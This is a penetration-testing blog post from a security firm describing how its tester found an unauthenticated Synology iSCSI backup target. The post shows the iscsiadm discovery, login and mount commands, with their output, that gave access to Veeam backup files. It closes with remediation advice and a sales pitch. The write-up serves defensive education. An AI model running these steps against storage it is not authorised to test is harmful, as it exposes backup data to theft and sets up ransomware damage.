penetration test

Compromising a Backup System by iSCSI Interface During a Routine Penetration Test

How We Identified a Critical Security Situation for Our Client

This is the story of a routine internal network penetration test that led to the identification of a critical security issue. 

As part of the normal process, I was exploring the target IPs to discover services, and I could not find anything interesting. In this type of situation, my second step is to identify adjacent relevant networks, so I checked the DNS servers – that were automatically assigned – and found another network to be scanned based on the DNS IP addresses.

So, I found this server on the network.

22/tcp   open     tcpwrapped
80/tcp   open     http          nginx
139/tcp  open     netbios-ssn  Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
161/tcp  open     snmp?
443/tcp  open     ssl/http      nginx
445/tcp  open     netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
3260/tcp open     iscsi        Synology DSM iSCSI
3261/tcp open     iscsi        Synology DSM Snapshot Replication iSCSI LUN
3262/tcp open     necp?
3263/tcp open     iscsi         Synology DSM Snapshot Replication iSCSI LUN
3264/tcp open     iscsi         Synology DSM Snapshot Replication iSCSI LUN
3265/tcp open     altav-tunnel?
5000/tcp open     http          nginx
5001/tcp open     ssl/http      nginx

This finding definitely caught my attention.

Internet Small Computer System Interface (iSCSI) is a protocol developed by IBM and Cisco that allows SCSI commands through TCP. The iSCSI protocol encapsulates SCSI commands, permitting shared storages to be connected as local devices. They are often utilized in backup solutions.

The iSCSI storage resource unit is named target. As you can imagine, these targets must be protected, but sometimes they are not so we can exploit them in a penetration test.

To handle iSCSI commands in Linux, you must install the iSCSI utility. In Debian-based Linux systems, you can use Advanced Packaging Tool (APT) to install the command-line client.

$ sudo apt install open-iscsi

Executing the Penetration Test

First, we need to discover the targets from the iSCSI resource, which we can do by using the Send Targets method.

#  iscsiadm –mode discovery -t sendtargets –portal 10.0.0.118
              
10.0.0.118:3260,1 iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1

Now, we can try to attach the device.

# iscsiadm –mode node –targetname iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1 –portal 10.0.0.118 –login
 
Logging in to [iface: default, target: iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1, portal: 10.0.0.118,3260]
Login to [iface: default, target: iqn.2000-01.com.synology:XXXX-backup02.Target-1.b0f7f9bbc1, portal: 10.0.0.118,3260] successful.

As shown, we could log into the interface without any authentication. You can see if the device is “plugged in” by checking the messages log.

# tail -f /var/log/messages
                                                       
Aug 25 17:15:54 attacker-machine kernel: [80707.783966] iscsi: registered transport (tcp)
Aug 25 17:17:21 attacker-machine kernel: [80795.228013] scsi host0: iSCSI Initiator over TCP/IP
Aug 25 17:17:21 attacker-machine kernel: [80795.333866] scsi 0:0:0:0: Direct-Access     SYNOLOGY iSCSI Storage    4.0  PQ: 0 ANSI: 5
Aug 25 17:17:22 attacker-machine kernel: [80795.528938] scsi 0:0:0:0: Attached scsi generic sg0 type 0
Aug 25 17:17:22 attacker-machine kernel: [80795.939789] sd 0:0:0:0: [sda] 76860620800 512-byte logical blocks: (39.4 TB/35.8 TiB)
Aug 25 17:17:22 attacker-machine kernel: [80795.989470] sd 0:0:0:0: [sda] Write Protect is off
Aug 25 17:17:22 attacker-machine kernel: [80796.085369] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, supports DPO and FUA
Aug 25 17:17:22 attacker-machine kernel: [80796.180721] sd 0:0:0:0: [sda] Optimal transfer size 16384 logical blocks > dev_max (8192 logical blocks)
Aug 25 17:17:23 attacker-machine kernel: [80797.317794]  sda: sda1 sda2 sda3
Aug 25 17:17:24 attacker-machine kernel: [80797.935976] sd 0:0:0:0: [sda] Attached SCSI disk

Here are more details about the disk attached.

# fdisk -l       
                                                                 
Disk /dev/nvme0n1: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: Amazon Elastic Block Store
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: 69C94BF0-EC3C-C142-B245-6C3D390B2792
 
Device         Start      End   Sectors  Size Type
/dev/nvme0n1p1  262144 167772126 167509983 79.9G Linux filesystem
/dev/nvme0n1p14   2048  8191      6144    3M BIOS boot
/dev/nvme0n1p15   8192    262143    253952  124M EFI System
 
Partition table entries are not in disk order.
 
Disk /dev/sda: 35.79 TiB, 39352637849600 bytes, 76860620800 sectors
Disk model: iSCSI Storage
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: B0E79518-80FD-47DB-B8AA-BB1E1AD69CD1
 
Device           Start         End     Sectors  Size Type
/dev/sda1           34      262177      262144  128M Microsoft reserved
/dev/sda2       264192 33732589567 33732325376 15.7T Microsoft basic data
/dev/sda3  33732589568 76860616703 43128027136 20.1T Microsoft basic data

Then we just need to mount it.

# mount /dev/sda2 /mnt/sda2

Now we can list it as a regular disk in the system.

[root@XXXXXXXX:…a1/Veeam/XXXXXXX_BackupJob]# ls -lt *  
 
-rwxrwxrwx 1 root root       808104 May 11  2020 XXXXXXX_BackupJob.vbm
-rwxrwxrwx 1 root root 102471232512 May 11  2020 LV_XXXXXXX_BackupJobD2020-05-11T110035_620D.vib
-rwxrwxrwx 1 root root  18840709120 Mar  9  2020 LV_XXXXXXX_BackupJobD2020-03-09T110104.vib
-rwxrwxrwx 1 root root  19950995968 Mar  8  2020 LV_XXXXXXX_BackupJobD2020-03-08T110054.vib
-rwxrwxrwx 1 root root 456847129088 Mar  7  2020 LV_XXXXXXX_BackupJobD2020-03-07T114229.vbk
-rwxrwxrwx 1 root root  34718584320 Mar  6  2020 LV_XXXXXXX_BackupJobD2020-03-06T110048.vib
-rwxrwxrwx 1 root root  17179675136 Mar  5  2020 LV_XXXXXXX_BackupJobD2020-03-05T110054.vib
-rwxrwxrwx 1 root root  16230359552 Mar  4  2020 LV_XXXXXXX_BackupJobD2020-03-04T110053.vib

Finally, we gained access to the Veeam backup files. In this case, we can use the Veeam utility to extract the VBK files.

The Results

Unauthenticated access to backup systems is a critical situation for the client. These systems are very valuable targets for ransomware infections since they can contain loads of sensitive data, possibly including domain controller backup hashes. If we can write access to the backup disk during a penetration test, it gets even worse, since an attacker can encrypt or even delete the backup files that you might be relying on to recover from a ransomware attack.

Ultimately, this misconfiguration led to a full compromise of backup data. This data could be storing sensitive information capable of bringing serious threats to the company. We recommend enabling authentication on every device in this organization, and if not, do not publish sensitive information, even in the internal environment.

As technology evolves, so are attackers. When you receive an internal penetration test or red team simulation from DirectDefense, our consultants are using the latest attack vectors seen in the field today.

Contact Us Today!

Take stock of how secure your organization is from malicious attackers. Set up a security consultation or call us at 1 888 720 4633.

Prev
Next
Shares

Cyber-anxiety keeping you up at night?

X